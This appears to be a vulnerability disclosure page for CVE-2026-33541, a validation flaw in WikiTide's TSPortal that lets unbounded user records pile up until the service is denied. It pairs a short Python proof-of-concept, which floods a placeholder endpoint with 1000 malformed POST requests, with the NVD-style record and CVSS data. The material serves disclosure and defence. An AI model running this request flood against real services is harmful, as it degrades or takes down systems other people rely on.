CVE-2026-33541

import requests # Target URL (example) target_url = "https://example.com/api/create_user" # Malformed payload to trigger the logic flaw # The username is intentionally invalid or random payload = { "username": "invalid_user_$RANDOM", "email": "[email protected]" } # Send multiple requests to exploit the side effect for i in range(1000): try: response = requests.post(target_url, data=payload) # The response might indicate failure, but the DB record is created print(f"Request {i}: Status {response.status_code}") except Exception as e: print(e)

{"cve": {"id": "CVE-2026-33541", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:05.867", "lastModified": "2026-04-03T20:20:56.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TSPortal is the WikiTide Foundation’s in-house platform used by the Trust and Safety team to manage reports, investigations, appeals, and transparency work. Prior to version 34, a flaw in TSPortal allowed attackers to create arbitrary user records in the database by abusing validation logic. While validation correctly rejected invalid usernames, a side effect within a validation rule caused user records to be created regardless of whether the request succeeded. This could be exploited to cause uncontrolled database growth, leading to a potential denial of service (DoS). Version 34 contains a fix for the issue."}, {"lang": "es", "value": "TSPortal es la plataforma interna de la Fundación WikiTide utilizada por el equipo de Confianza y Seguridad para gestionar informes, investigaciones, apelaciones y trabajo de transparencia. Antes de la versión 34, una falla en TSPortal permitía a los atacantes crear registros de usuario arbitrarios en la base de datos al abusar de la lógica de validación. Si bien la validación rechazaba correctamente los nombres de usuario no válidos, un efecto secundario dentro de una regla de validación provocaba que se crearan registros de usuario independientemente de si la solicitud tenía éxito. Esto podría ser explotado para causar un crecimiento descontrolado de la base de datos, lo que llevaría a una potencial denegación de servicio (DoS). La versión 34 contiene una solución para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wikitide:tsportal:*:*:*:*:*:*:*:*", "versionEndExcluding": "34", "matchCriteriaId": "4EB3C2C4-36B0-46DD-8B37-3F93629BAC0C"}]}]}], "references": [{"url": "https://github.com/miraheze/TSPortal/security/advisories/GHSA-f346-8rp3-4h9h", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}